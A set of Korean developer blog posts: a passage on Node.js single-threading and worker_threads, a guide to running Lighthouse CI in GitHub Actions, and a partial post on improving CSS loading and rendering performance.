이러한 설계는 개발자들이 언어를 사용하는데 있어서 더 쉽게 할 수 있는 요소가 되었다. 자바스크립트는 처음에 웹 페이지, 폼 유효성 검사 등의 상호작용을 추가하는데만 사용되었었는데, 이 정도 작업으로는 멀티스레딩의 복잡함이 전혀 필요하지 않았다.

그러나 nodejs의 창시자(Ryan Dahl)는 이러한 한계를 기회로 보았다. 그는 비동기 IO 를 기반으로 서버측 플랫폼을 구현하고 싶어했다. 즉, 스레드가 필요하지 않았다. 동시성은 매우 풀기 어려운 문제가 될 수 있다. 동일한 메모리에 접근하려고 하는 스레드가 많아지면 재현 및 수정이 매우 어려운 race condition 문제가 발생할 수 있다.

## nodejs는 싱글스레드 인가?

그래서, nodejs 애플리케이션은 단일 스레드일까? 어느정도는 그렇다.

사실 우리는 병렬로 실행할 수 있지만, 우리는 스레드를 만들지도 않고 이를 동기화 하지도 않는다. 가상머신과 운영체재가 IO를 병렬로 실행하며, 자바스크립트 코드로 데이터를 다시 전송해야 할 때, 자바스크립트 부분은 단일 스레드로 실행된다.

즉, 자바스크립트 코드를 제외한 모든 것이 병결로 실행된다. 자바스크립트 코드의 동시식 블록은 항상 한번에 하나씩 실행된다.

```javascript
let flag = false
function doSomething() {
  flag = true
  // flag를 수정하지 않는 더 많은 코드...

  // 우리는 flag가 true라는 것은 확신할 수 있다.
  // 이 코드 블록이 동기로 실행되는 이상,
  // 이 코드블록이 flag 값을 바꿀일이 없다.
}
```

우리가 처리하는 것이 모두 비동기 IO로 이루어져있다면 이러한 방식은 매우 훌륭하다고 볼 수 있다. 코드는 빠르게 실행되고, 데이터를 파일과 스트림에 전달하는 동기 블록은 작은 부분으로 구성된다. 자바스크립트 코드는 너무 빨라서, 다른 자바스크립트의 실행을 막지 못한다. 자바스크립트 코드가 실행될 때 보다, IO 이벤트가 발생할 때 까지 기다리는 시간이 훨씬 더 많다. 아래 예를 살펴보자.

```javascript
// 2
db.findOne('SELECT ... LIMIT 1', function (err, result) {
  if (err) return console.error(err)
  console.log(result)
})

// 1
console.log('Running query')

// 3
setTimeout(function () {
  console.log('Hey there')
}, 1000)
```

데이터베이스로 실행한 이 쿼리는 몇 분 정도 걸릴 수 있지만, `Running query` 메시지는 쿼리를 호출한 후 즉시 표시된다. 그리고 잠시 후 쿼리가 여전히 실행중인지 아닌지를 확인 한후, 잠시후에 `Hey there` 메시지를 볼 수 있다.

nodejs 애플리케이션은 함수를 호출할 뿐, 다른 코드의 실행을 차단하지 않는다. 조회가 완료되면 콜백을 통해 알림을 받고, 결과를 받는다.

## CPU 집약적인 작업

만일 큰 데이터를 가지고 메모리에서 복잡한 계산을 수행하는 것 과 같이, 동기 집약적인 작업을 수행해야하는 경우엔 어떻게 될까? 그렇게 되면 많은 시간이 걸리게되고, 나머지 코드를 차단하는 동기 코드블록이 생길 수도 있다.

동기 코드 실행에 10초가 걸린다고 상상해보자. 웹서버를 실행중이면, 이 작업 때문에 다른 요청이 최소 10초동안 차단된다. 100ms이상 걸리는 작업은 문제를 유발할 수 있다.

자바스크립트와 nodejs는 CPU 바인딩 작업에 사용할 수 없었다. 자바스크립트는 단일 스레드이기 때문에, 브라우저의 UI는 멈추게되고, Nodejs의 IO 이벤트를 넣게 된다.

```javascript
db.findAll('SELECT ...', function (err, results) {
  if (err) return console.error(err)

  // 겁나 오래 걸리는 작업
  for (const encrypted of results) {
    const plainText = decrypt(encrypted)
    console.log(plainText)
  }
})
```

조회가 완료되면 콜백이 실행된다. 콜백이 실행 끝날 때 까지 자바스크립트 코드가 실행되지 않는다.

일반적으로, 앞서 이야기 한 것 처럼 코드는 일반적으로 매우 작고 빠르다. 그러나 위의 예제 코드에서는, 많은 결과가 나오고, 이에 따른 많은 계산이 필요하다. 이는 몇 초 정도 걸릴 수 있으며, 이 기간 동안은 다른 자바스크립트 실행이 대기 중이 기 때문에, 동일한 애플리케이션에서 서버를 실행하는 경우 해당 시간 동안 모든 사용자가 블로킹 될 수 있다.

## 자바스크립트에서 스레드가 없는 이유

그래서, 많은 사람들이 nodejs 코어에 새 모듈을 추가하여 스레드를 만들고 동기화 할 수 있어야 한다고 생각한다.

만약, nodejs에서 스레드가 추가된다면, 이는 언어의 본질을 바꿔버리는 것이다. 단순히 클래스 또는 함수 추가 만으로 스레드를 만들 수는 없다. 언어를 바꿀 필요가 있다. 멀티스레딩을 지원하는 언어에는 스레드간 협력이 가능하도록 `synchronized`와 같은 키워드가 있다.

예를 들어, 자바에서는 일부 숫자 유형의 경우 원자형이 아니다. 액세스를 동기화 하지 않는다면, 두개의 스레드가 변수의 값을 변경할 수 있다. 결과적으로 두개의 스레드가 변수에 액세스하고, 하나의 스레드에 의해 몇 바이트가 변경되고, 다른 스레드에 의해 몇 바이트가 변경되므로 유효한 값을 얻지 못할 것이다.

## 일단 간단한 해결책

nodejs는 이벤트 큐의 다음 코드블록을, 이전 코드블록의 실행이 완료될 때까지 평가하지 않는다. 그래서 할 수 있는 간단한 방법 중 하나는, 코드를 작은 동기식 코드로 나누고, nodejs에 이 작업이 끝났다고 전달한 이후에 큐에서 보류 중인 것들을 계속해서 실행할 수 있도록 하는 것이다.

```javascript
const arr = [/*겁나 큰 배열*/]
for (const item of arr) {
  // 무거운 작업
}
// 저 포문이 끝날 때 까지 여기는 오지 못함
```

이를 작은 청크로 나눠서 실행해보자.

```javascript
const crypto = require('crypto')

const arr = new Array(200).fill('something')
function processChunk() {
  if (arr.length === 0) {
    // code that runs after the whole array is executed
    // 모든 배열이 실행이 끝난 뒤에 실행됨
  } else {
    console.log('processing chunk')
    /// 10개만 추출
    const subarr = arr.splice(0, 10)
    for (const item of subarr) {
      // 오래 걸리는 작업
      doHeavyStuff(item)
    }
    // 다음 큐로 작업을 밀어넣음
    setImmediate(processChunk)
  }
}

processChunk()

function doHeavyStuff(item) {
  crypto
    .createHmac('sha256', 'secret')
    .update(new Array(10000).fill(item).join('.'))
    .digest('hex')
}

// 다른 작업도 가능한지 확인하기 위한 함수
let interval = setInterval(() => {
  console.log('tick!')
  if (arr.length === 0) clearInterval(interval)
}, 0)
```

이제 `setImmediate(callback)`가 실행될 때마다 10개씩 작업을 처리하게 되며, 이외에 무언가 작업할게 생기게 되면 이 작업 사이에 처리하게 된다.

그러나 보다시피 코드가 더 복잡해졌다. 또한 알고리즘은 이보다 더 복잡하기 때문에 어디서 적절히 `setImmediate()`를 배치해야 할지 알 수 없다. 게다가 이제 코드는 비동기 식이며, 다른 외부 라이브러리에 의존하게 되면 실행을 더 작은 청크로 분할해서 실행하기 어려워 질 수도 있다.

## 백그라운드 프로세스

`setImmediate()`는 간단한 시나리오에서는 쓸만했지만, 아주 적당한 해결책이라 보기 어렵다.

스레드 없이 프로세스를 병렬로 처리하는 것이 가능할까? 그렇다. 우리에게 필요한 것은 충분한 CPU와 시간을 활용해서 결과를 애플리케이션으로 되돌 릴 수 있는 일종의 백그라운드 처리이다.

```javascript
// `script.js`를 별도의 환경에서 실행하여 메모리를 공유하지 않는다.
const service = createService('script.js')
// 여기에 데이터를 넘기고 결과를 받는다.
service.compute(data, function (err, result) {
  // 결과
})
```

사실 우리는 이미 nodejs에서 백그라운드 처리를 할 수 있다. 프로세스를 fork 하여 메시지를 전달하는 방식으로 구현이 가능하다. 메인 프로세스에서 하위 프로세스로 이벤트를 주고 받는 방식으로 통신이 가능하다.

메모리 공유는 없다. 서로 교환되는 데이터는 모두 복제된 데이터이며, 한쪽 데이터를 변경한다고 다른 쪽에 변경이 일어나지는 않는다.

그러나 이는 해결책이긴 하지만, 이상적인 해결책은 아니다. 프로세스를 만드는 것은 리소스 측면에서 많은 비용이 든다. 그리고 느리다. 프로세스가 메모리를 공유하지 않기 때문에, 많은 메모리를 사용하여 새 가상 시스템을 처음부터 실행해야 한다.

물론 동일한 포크 프로세스를 재사용할 수 있다. 그러나 포킹된 프로세스 내에서 동시에 실행되는 서로 다른 과중한 워크로드를 전송하면 두가지 문제가 발생한다.

먼저, 메인 애플리케이션은 차단하지 않을 수 도 있지만, 포크된 프로세스는 한번에 하나의 작업만 처리할 수 있다. 10초가 걸리는 작업과 1초가 걸리는 작업이 순서대로 대기하는 경우, 두번째 작업을 실행하기 위해 10초를 기다리는 것은 이상적이지 않다.

또 다른 문제로, 한작업이 프로세스가 중단되면 동일하나 프로세스에 전송되는 모든 작업이 완료되지 않은 채로 남아있게 된다. 이러한 문제를 해결하기 위해서는 포크가 한 개가 아니고 여러개가 있어야 한다. 그러나 각 프로세스마다 모든 가상 시스템 코드가 메모리에 중복되므로, 프로세스당 몇 MBs의 처리시간과 부팅시간을 계산해서 포크되는 프로세스의 개수를 제한해야 한다.

따라서 데이터베이스 연결과 마찬가지로, 사용할 수 있는 일종의 프로세스 풀이 필요하고, 각 프로세스마다 한번에 작업을 실행하고, 작업이 완료된 후 프로세스를 다시 사용해야 한다. 구현이 매우 복잡해보인다. [worker-farm](https://github.com/rvagg/node-worker-farm)이라는 것을 사용해보자.

```javascript
// main app
const workerFarm = require('worker-farm')
const service = workerFarm(require.resolve('./script'))

service('hello', function (err, output) {
  console.log(output)
})

// script.js
// 여기는 포크 프로세스에서 실행됨
module.exports = (input, callback) => {
  callback(null, input + ' ' + world)
}
```

## 문제 해결?

뭐, 문제는 해결되었지만 멀티스레드 솔루션보다 훨씬 더 많은 메모리를 쓰고 있다. 스레드들은 포크 프로세스에 비해 리소스 측면에서 매우 가볍다. 이러한 이유 때문에 Worker Thread가 탄생하게 되었다.

Worker Thread에는 분리된 컨텍스트가 있다. 메시지 패싱을 활용하여 메인 프로세스와 정보를 교환하기 때문에 레이스 컨디션 문제를 해결할 수 있다. 또한 이들은 같은 프로세스에 존재하기 때문에 더 적은 메모리를 쓴다.

Worker Thread와 메모리도 공유할 수 있다. 이러한 용도로 많이 사용되는 객체 `SharedArrayBuffer`를 활용하여 객체를 전달할 수 있다. 많은 양의 데이터를 활용하여 CPU 집약적인 작업을 수행할 때만 이 기능을 사용해야 한다.

## Worker Thread 예제

노드 10버전 이상을 사용하고 있다면 `worker_threads`를 쓸 수 있다. 그러나 11.7버전 이하에서는 `--experimental-worker`를 추가해야 사용이 가능하다.

한가지 명심해야할 것은, 아무리 프로세스 포킹보다 저렴하다 하더라도 너무 많이 워커를 생성하면 리소스를 많이 사용할 수도 있다는 것이다. 이 경우에는, 워커 풀을 만들기를 권장한다. 이 워커 풀도 마찬가지로 직접 구현하는대신, 워커 풀을 구현한 다른 패키지를 npm에서 찾을 수 있다.

간단한 예제에서 시작해보자. 먼저 Worker thread를 만드는 메인 파일을 구현하고, 데이터를 넘긴다. API는 이벤트 드리븐이지만 Promise로 감싸서 워커로부터 첫번째 메시지를 받는다면 `resolve`하도록 한다.

```javascript
// index.js
const {Worker} = require('worker_threads')

function runService(workerData) {
  return new Promise((resolve, reject) => {
    const worker = new Worker('./service.js', {workerData})
    worker.on('message', resolve)
    worker.on('error', reject)
    worker.on('exit', (code) => {
      if (code !== 0) reject(new Error(`Worker stopped with exit code ${code}`))
    })
  })
}

async function run() {
  const result = await runService('world')
  console.log(result)
}

run().catch((err) => console.error(err))
```

보시다시피, 파일 이름과 데이터를 argument로 넘기는 것 만으로도 쉽게 구현이 가능하다. 이 데이터는 복제되었다. 그런 다음 메시지 이벤트를 리슨하여 Worker Thread가 메시지를 보낼 때 까지 기다린다.

```javascript
const {workerData, parentPort} = require('worker_threads')

// 여기에서 무거운 작업을 동기로 메인 스레드를 방해하지 않으면서 처리할 수 있다.
parentPort.postMessage({hello: workerData})
```

여기서는 메인 애플리케이션이 보낸 `workerData`와 메인 애플리케이션으로 정보를 돌려보내는 방법 이 두가지가 필요하다. 작업이 끝나면 `parentPort.postMessage`를 통해서 결과를 보낼 수 있다.

이게 전부다. 이는 간단한 예제지만, 우리는 더 복잡한 것들을 할 수 있다. 예를 들어 피드백을 보내야 하는 경우, Worker thread에서 실행 상태를 나타내는 메시지를 여러개 보낼 수도 있다. 아니면 일부 결과만 보낼 수 있다. 수천개의 이미지를 처리한다고 가정해보자. 처리된 이미지별로 보낼 수 있지만, 이 모든작업이 처리될 때 까지 기다리는 것은 좋지 않다.

https://nodejs.org/docs/latest-v10.x/api/worker_threads.html

## 웹 워커?

아마도 Web Worker API에 대해 들어본 적이 있을 것이다.

- https://developer.mozilla.org/ko/docs/Web/API/Web_Workers_API
- https://caniuse.com/webworkers

이는 웹에서 지원하는 api고, 모던 브라우저에서 잘 지원되고 있다. (심지어 IE11에서도?!) API는 요구사항과 기술조건들이 제각각이지만, 브라우저 런타임에서 유사한 문제를 충분히 해결할 수 있다. 웹 애플리케이션에서 암호화, 압축/압축해제, 이미지조작, 컴퓨터 비전(얼굴인식) 등을 수행하는 하는 경우 유용하다.

## 결론

Web Worker는 Nodejs 애플리케이션에서 CPU 집약적인 작업을 할 때 유용하다. 이는 마치 공유메모리가 없는 스레드로, 레이스 컨디션과 같은 문제를 피할 수 있다. `worker_threads`는 nodejs 12 LTS에서 부터 정식 지원하므로, 한번 사용해봄직하다.

---

Source: https://yceffort.kr/2021/03/Lighthouse-CI-with-github-actions.md
Title: github workflow로 lighthouse ci 추가하기
Description: 점수의 노예가 되버린 나
Date: 2021-03-31
Tags: web-performance, devops, github

Lighthouse는 웹사이트의 성능을 측정하는 유명한 도구중 하나다. 이 Lighthouse를 CI와 연동하여 수시로 웹사이트의 성능을 점검할 수 있도록 해보자.

일단 lighthouse-ci는 [여기](https://github.com/GoogleChrome/lighthouse-ci)에서 확인할 수 있다.

## Local에서 사용하기

1. 설치

   ```bash
   npm install -g @lhci/cli
   ```

2. 루트 디렉토리에서 `lighthouserc.js`를 만들자. 여기가 [설정](https://github.com/GoogleChrome/lighthouse-ci/blob/v0.4.1/docs/configuration.md#configuration-file)이 들어가는 곳이다.

   ```javascript
   module.exports = {
     ci: {
       collect: {/* Add configuration here */},
       upload: {/* Add configuration here */},
     },
   }
   ```

3. Lighthouse CI가 실행 될때마다, 서버가 구동되어 사이트가 시작되어야 한다. 이 서버가 작동하게되면, Lighthouse CI가 해당 서버를 토대로 웹사이트 성능을 추적할 것이다. 작업이 끝나면, 알아서 종료된다. 제대로 작동하기 위해서는 둘 중에 하나를 설정해둬야 한다.
   1. `staticDir`: `ci.collect`에 해당 속성과 함께 static 파일이 위치한 곳을 설정해 두면된다. 그러면 Lighthouse CI는 알아서 그 파일을 기준으로 서버를 실행해서 테스트를 하게 된다.
   2. `startServerCommand`: static한 사이트가 아니라면, `ci.collect`에 서버를 키는 명령어를 적어두면 된다. (`npm run start`) 그러면 Lighthouse CI는 알아서 해당 명령어를 실행해서 서버를 키고, 끝난 후에는 종료 시킬 것이다.
4. `ci.collect.url`에 Lighthouse CI가 조사해야 할 주소를 적어두면 된다. 값은 배열로 설정해야 하며, 이말인 즉슨 여러개의 사이트를 적어둘 수 있다는 뜻이다. 기본값으로 해당 주소를 각 3번씩 조사한다.
5. `ci.upload.target`에 `temporary-public-storage`로 설정해두자. Lighthouse CI가 조사한 결과 레포트를 해당 위치에 업로드 할 것이다. 이 결과는 최대 7일까지 유지되며 이후에는 자동으로 삭제된다. 자세한 내용은 [여기](https://github.com/GoogleChrome/lighthouse-ci/blob/main/docs/configuration.md#target)를 확인하자.
6. `ci.collect.numberOfRuns`에 숫자를 넣어두면, 몇번을 실행할지 설정할 수 있다.
7. 설정이 끝났다면 실행하자. `lhci autorun` 정상적으로 설정해두었다면, 아래와 같이 결과가 나타날 것이다.

```javascript
module.exports = {
  ci: {
    collect: {
      url: ['http://localhost:3000'],
      collect: {
        numberOfRuns: 5,
      },
    },
    upload: {
      startServerCommand: 'npm run start',
      target: 'temporary-public-storage',
    },
  },
}
```

```bash
yceffort@yceffort yceffort-blog-v2 % lhci autorun
✅  .lighthouseci/ directory writable
✅  Configuration file found
✅  Chrome installation found
⚠️   GitHub token not set
Healthcheck passed!

Started a web server with "npm run start"...
Running Lighthouse 5 time(s) on http://localhost:3000
Run #1...done.
Run #2...done.
Run #3...done.
Run #4...done.
Run #5...done.
Done running Lighthouse!

Uploading median LHR of http://localhost:3000/...success!
Open the report at https://storage.googleapis.com/lighthouse-infrastructure.appspot.com/reports/1617202753232-29187.report.html
No GitHub token set, skipping GitHub status check.

Done running autorun.
```

## CI와 연계하기

Lighthouse CI는 다양한 CI 툴과 연계할 수 있다. [여기](https://github.com/GoogleChrome/lighthouse-ci/blob/main/docs/getting-started.md#configure-your-ci-provider)를 참고하면 관련된 가이드를 참조할 수 있다.

또한 성능 모니터링에서 한 걸음 더 나아가서 사전에 정의된 기준을 충족하지 못하는 경우 빌드에 실패하게 만들 수 있다. 이는 [assert](https://github.com/GoogleChrome/lighthouse-ci/blob/master/docs/configuration.md#assert)를 이용해서 작업할 수 있다.

Lighthouse CI 에서는 세가지 단계로 검사할 수 있다.

- `off`: 무시
- `warn`:
- `error`: 이 경우 0가 아닌 값으로 종료된다.

```javascript
module.exports = {
  ci: {
    collect: {
      // ...
    },
    assert: {
      assertions: {
        'categories:performance': ['warn', {minScore: 1}],
        'categories:accessibility': ['error', {minScore: 1}],
      },
    },
    upload: {
      // ...
    },
  },
}
```

## github action과 연동하기

나의 최애이자 유일신(?) 은 github action이기 때문에, 여기에 연동을 해보려고 한다. (oss님 제발...)

1. `.github/workflows`에 원하는 이름으로 파일을 만든다. 나는 `lightouse-ci.yaml`로 했다.
2. 해당 파일 내용을 다음과 같이 꾸몄다.

   ```yaml
   name: Build project and run Lighthouse CI
   on: [push]
   jobs:
     lhci:
       name: Lighthouse CI
       runs-on: ubuntu-latest
       steps:
         - uses: actions/checkout@v1
         - name: Use Node.js 12.x
           uses: actions/setup-node@v1
           with:
             node-version: 12.x
         - name: npm ci
           run: |
             npm ci
         - name: run build
           run: npm run build-nextjs
         - name: run Lighthouse CI
           run: |
             npm install -g @lhci/cli@0.3.x
             lhci autorun --upload.target=temporary-public-storage || echo "LHCI failed!"
   ```

   1. nodejs 설치
   2. npm ci
   3. 프로젝트 빌드
   4. lhci 설치 및 실행

3. assert 를 추가

   ```javascript
   module.exports = {
     ci: {
       collect: {
         url: ['http://localhost:3000'],
         collect: {
           numberOfRuns: 5,
         },
       },
       upload: {
         startServerCommand: 'npm run start',
         target: 'temporary-public-storage',
       },
       assert: {
         preset: 'lighthouse:recommended',
       },
     },
   }
   ```

이제 코드를 푸쉬하면 아래와 같이 작동하는 것을 볼 수 있다.

https://github.com/yceffort/yceffort-blog-v2/pull/278

![image1](./images/lighthouse-ci-github-action1.png)

![image2](./images/lighthouse-ci-github-action2.png)

추가로 [여기](https://github.com/apps/lighthouse-ci)를 방문해서 app을 설치하고 레파지토리에 `LHCI_GITHUB_APP_TOKEN`를 키값으로 값을 추가해준다면, PR에 메시지도 남겨준다. 물론, secret 추가 이후에는 아까 만들었던 github action yaml 도 변경해주어야 한다.

```yaml
- name: run Lighthouse CI
  env:
    LHCI_GITHUB_APP_TOKEN: ${{ secrets.LHCI_GITHUB_APP_TOKEN }}
  run: |
    npm install -g @lhci/cli@0.3.x
    lhci autorun --upload.target=temporary-public-storage || echo "LHCI failed!"
```

## 후기

나름 블로그 최초 개설 시엔 신경을 썼었는데 시간이 지나고 이것저것 덕지덕지 붙으면서 점수가 점점 바닥으로 가고 있는 중이라는 것을 이제 알게 되었다. 🤪

여기서 개선은 모르겠고,,, 블로그 v3.0을 계획하고 있습니다. 블로그 v3.0 작업시에 lighthouse 점수를 수시로 확인하면서 작업을 해야겠다. 그리고 지금 내가 몸담고 있는 프로젝트에도 Lighthouse CI를 들이밀어 봐야겠다. 라이트하우스 함무바라 (점수보고) 디진다 퍼뜩 무봐라

![try lighthouse](https://mgall.app/api/file/9477923)

---

Source: https://yceffort.kr/2021/03/improve-css-performance.md
Title: CSS 성능 향상 시키기
Description: CSS의 황제가 출간한 CSS 완벽가이드를 장식용으로 구매...
Date: 2021-03-26
Tags: css, web-performance

모던 웹사이트의 복잡성과 더불어 브라우저가 CSS를 처리하는 방식 까지 얹혀진다면, 일부 구식장치, 네트워크 지연, 제한된 데이터를 경험하는 사람들에게는 그리 많지 않은 CSS도 병목현상을 겪을 수 있다. 성능은 사용자 경험에서 필수적인 부분이기 때문에, 다양한 디바이스에서 일관된 고품질의 환경을 제공해야하며 이를 위해선 CSS 최적화가 필수다.

이 포스트에서는 CSS의 성능 이슈와, CSS의 성능을 향상 시키기 위해서는 어떤 작업들이 필요한지 다뤄보려고 한다.

## Table of Contents

## CSS는 어떻게 동작하는가

### CSS는 렌더링을 막는다

CSS의 존재 자체 만으로도, CSS가 파싱되기 전까지 브라우저는 렌더링이 지연된다. 대부분의 모던 웹사이트에서 CSS가 존재하지 않는다면 정상적으로 페이지를 이용할 수 없을 것이다. 만약 브라우저가 CSS가 없는 페이지를 그대로 노출된다면, 잠깐 동안 CSS가 파싱되면서 스타일이 적용되는 페이지가 나타나기 전까지 의 시간이 생기고 말 것이다. 이러한 것을 [FOUC(Flash of Unstyled Content)](https://en.wikipedia.org/wiki/Flash_of_unstyled_content)라고 한다.

### CSS는 HTML 파싱도 막을 수 있다.

브라우저가 CSS가 파싱되기 전까지 콘텐츠를 보여주지 않더라도, HTML의 로딩된 부분만을 일단 보여줄 수도 있다. 그러나 스크립트의 경우 `async` `defer` 이 없다면 파싱을 막게 된다. 스크립트는 잠재적으로 페이지를 조작할 여지가 있으므로, 브라우저는 스크립트 실행에 매우 주의를 기울일 필요가 있다.

![js-blocking-html-parsing](https://web-now-rbviiass9-calibreapp.vercel.app/_next/image?url=%2Fimages%2Fblog%2Fcss-performance%2Fparser-blocking-script.png&w=1920&q=75)

스크릡트가 페이지의 스타일에 영향을 줄 수 있기 때문에, 만약 브라우저가 CSS 관련 작업을 진행중이라면, 이 작업이 완료될 때 까지 기다렸다가 스크립트를 실행할 것이다. 스크립트가 실행되기 전까지 문서 파싱을 할 수 없기 때문에, CSS는 더 이상 렌더링을 차단하는 요소로 작용하지 않는다. (하단 그림 참조) 문서의 외부 스타일시트 및 스크립트 순서에 따라서 때로는 HTML 파싱도 중지할 수 있다.

![css-can-block-html-parsing](https://web-now-rbviiass9-calibreapp.vercel.app/_next/image?url=%2Fimages%2Fblog%2Fcss-performance%2Fparser-blocking-css.png&w=1920&q=75)

파싱을 차단하는 상황을 피하기 위해서는, CSS를 최대한 빨리 불러와야 하고, 리소스를 최적의 순서로 불러와야 한다.

## CSS 사이즈 지켜보기

### CSS 압축하고 최소화 하기

외부 스타일 시트를 다운로드 하는 작업은 필연적으로 네트워크 지연이 발생지만, 네트워크에 전송되는 바이트의 양을 줄임으로써 이 과정을 최소화 할 수 있다.

파일을 압축하는 것은 속도 향상에 지대한 영향을 미치며, 많은 호스팅 플랫폼과 CDN에서는 기본적으로 애셋을 압축해준다. 가장 널리알려져 있는 압축 솔루션은 GZip이고, Brotil 또한 존재하지만, [Brotli는 일부 브라우저에서 지원을 하지 않는다.](https://caniuse.com/brotli)

Minification (최소화) 과정은 코드에서 필요없는 공백을 지우는 과정이다. 결과물은 이전 코드에 비해서 작아지지만, 브라우저는 충분히 코드를 파싱할 수 있으며 이를 통해 몇 바이트라도 더 절약할 수 있다. 가장 유명한 자바스크립트 압축 툴로 [terser](https://github.com/terser/terser)가 있고, [웹팩 v4 버전 이상 부터는 빌드 파일을 작게하는 도구가 내장되어 있다.](https://webpack.js.org/plugins/css-minimizer-webpack-plugin/)

### 사용하지 않는 CSS 제거

CSS 프레임워크를 사용하게 될 경우, 필요한 컴포넌트만 번들링 하지 않는 이상 사용되지 않는 CSS가 포함되는 것은 일반적인 문제다. 이와 비슷하게, 오랜시간에 걸쳐서 쌓이는 큰 코드 베이스에도 안쓰는 CSS가 남는 경우가 더러 있다.

사용하지 않는 CSS를 제거하는 것은 수동 작업이다. 따라서 코드가 얼마나 복잡하느냐에 따라서 난이도가 증가하게 된다. 이 작업은 웹사이트 전체에서, 가능한 모든 디바이스에서, 가능한 모든 상황에서, 가능한 모든 자바스크립트 실행 결과에 따라서 결정해야 한다. [UnusedCSS](https://unused-css.com/)나 [PurifyCSS](https://purifycss.online/) 와 같은 유명한 툴이 있지만, 항상 visual regression 테스트도 병행해서 이뤄져야 한다.

**바로 이것이 CSS-in-JS를 쓸 때 얻을 수 있는 가장 큰 이점이다. 각 컴포넌트가 렌더링에 필요한 CSS가 js내에 포함되어 있다. (따라서 컴포넌트 레벨로 관리하기 때문에 편하다는 것)** CSS-in-JS는 페이지 내부에 CSS를 인라인 처리하거나, 외부 CSS파일로 따로 번들링 해버린다. CSS를 자바스크립트 내부에 포함시켜 버리면 CSS 파싱과 평가가 느려진다.

## CSS의 우선순위 정하기

Critical CSS란 화면에 보이는 컨텐츠 (above-the-fold content)의 CSS 에 대해서만 inline 처리하는 것을 의미한다. HTML 문서의 `<head/>`에 있는 스타일을 따로 추출해서 인라이닝 하면 스타일을 가여오는 추가 요청을 할 필요가 없어져 렌더링이 빨라진다.

첫 렌더링 시의 라운드트립을 최소화 하기 위해서는, above-the-fold content의 크기를 14kb내로 유지해야 한다. (압축시)

Critical CSS를 정확히 정의하는 것은 어렵다. 디바이스의 크기에 따라서 사용자가 보이는 영역이 달라지기 때문이다. 이는 특히 매우 유동적인 사이트의 인 경우에는 더욱 어려워 진다. 그러나 이는 여전히 성능 향상에 중요한 부분 이므로, [Critical](https://github.com/addyosmani/critical) [CriticalCSS](https://github.com/filamentgroup/criticalCSS) [Penthouse](https://github.com/pocketjoso/penthouse) 등의 도구를 활용해서 자동화 할 필요가 있다.

### CSS 비동기로 불러오기

위 above-the-fold content를 최대한 빠르게 불러오는데 집중했다면, 나머지 영역은 비동기로 로딩하는 것이 최선이다.

```html
<link
  rel="stylesheet"
  href="non-critical.css"
  media="print"
  onload="this.media='all'"
/>
```

`"Print"` 미디어 타입이란, 사용자가 페이지를 프린트를 하려고 하는 경우에만, 브라우저가 해당 스타일 시트를 불러오는 것으로 렌더링에는 영향을 미치지 않는다. 그리고 여기에 `onload` 이벤트로 `this.media='all'`를 추가한다면, 스타일 시트가 로드가 완료되면 미디어 속성을 다시 `all`로 바꾸면서 스타일 시트가 적용된다.

또 다른 방법은 `<link rel="preload">`를 사용하는 것이다. 그러나 이 방법은 아래와 같은 단점이 있다.

- [브라우저 지원이 여전히 시원치 않으므로](https://caniuse.com/?search=preload), [loadCSS](https://github.com/filamentgroup/loadCSS/)와 같은 폴리필이 필요하다.
- `preload`는 생각보다 매우 이른 타이밍에, 높은 우선순위로 다운로드 되므로 다른 중요한 애셋의 다운로드 우선순위를 밀어 버릴 수 있다.
  - https://developer.mozilla.org/ko/docs/Web/HTML/Preloading_content

```html
<link rel="preload" href="/path/to/my.css" as="style" />
<link
  rel="stylesheet"
  href="/path/to/my.css"
  media="print"
  onload="this.media='all'"
/>
```

> https://www.filamentgroup.com/lab/load-css-simpler/

### @import 사용 자제하기

`@import`는 CSS파일의 렌더링 속도를 느리게 한다. 특히 `@import url(imported.css)`와 같은 코드는 네트워크 흐름을 아래와 같이 바꿔버린다.

![@import](https://web-now-rbviiass9-calibreapp.vercel.app/_next/image?url=%2Fimages%2Fblog%2Fcss-performance%2Fcss-import-blocking.png&w=1920&q=75)

그러나 두 파일을 별개로 분리하면 이런식으로 동시에 다운로드 하게 된다.

![parallel](https://web-now-rbviiass9-calibreapp.vercel.app/_next/image?url=%2Fimages%2Fblog%2Fcss-performance%2Fcss-parallel-download.png&w=1920&q=75)

## 효과적인 CSS 애니메이션 사용하기

페이지에 애니메이션이 있는 요소가 있는 경우, [브라우저는 종종 문서 내 요소의 위치와 크기를 재 계산한다.](https://calibreapp.com/blog/investigate-animation-performance-with-devtools#animation-performance) (레이아웃 발생) 예를 들어, 어떤 요소의 너비를 바꾸게 되면, 그 자식 요소들 까지 영향을 미치면서 페이지 내부에서 큰 레이아웃이 발생할 수 있다. 그리고 이 레이아웃의 크기가 커질 수록, 성능에 안좋은 영향을 미칠 것이다.

요소에 애니베이션을 넣을 때는, 레이아웃과 리페인트가 최소한으로 이뤄지도록 해야 한다. 모든 CSS 애니메이션 기술이 동일하지 않으며, 모던 브라우저에서는 위치, 크기, 회전, 불투명도 등을 가진 고성능 애니메이션을 만들 수 있다.

- `height` `width` 대신 `transform: scale()`을 쓰자
- 요소를 움직이게 하기 위해서는, `top` `right` `bottom` `left` 대신 `transform: translate()`를 쓰자.
- 배경에 blur를 먹이고 싶다면, opacity를 바꾸는 것보다 그냥 blur 된 이미지를 불러오는게 낫다.

### `contain` 속성

[contain](https://developer.mozilla.org/en-US/docs/Web/CSS/contain)은 브라우저에 요소와 하위 요소가 그 문서 트리와 무관한 것으로 간주된다는 것을 알려주는 속성이다. 페이지의 하위 트리와 나머지 페이를 분리한다. 그런 다음, 브라우저는 페이지에서 독립된 부분의 렌더링을 최적화하여 성능을 향상 시킬 수 있다.

`contain`는 페이지 내부에서 독립적으로 작동하는 위젯 등에서 매우 효과적이다. 이 속성을 활용하여 위젯의 내부에서의 변경사항이 바깥으로 전파되는 것을 막을 수 있다.

## CSS로 폰트 로딩 최적화 하기

### 폰트 로딩 중에는 보이지 않는 텍스트를 두지 않기

폰트는 로딩하는데 시간이 걸리는 큰 파일인 경우가 많다. 일부 브라우저는 폰트가 로딩되기 전까지 텍스트를 숨긴다. (FOIT, flash of invisible text) 속도를 최적화 하기 위해서는 보이지 않는 텍스트가 갑자기 나타나는 현상(FOIT)을 피하고, 시스템 폰트를 기본으로 사용하여 즉시 사용자에게 콘텐츠를 보여주는 것이 좋다. 폰트가 로딩 되면, 시스템 기본 글꼴로 로딩된 폰트를 대체 하는 FOUT(flash of unstyled text) 현상이 일어날 것이다.

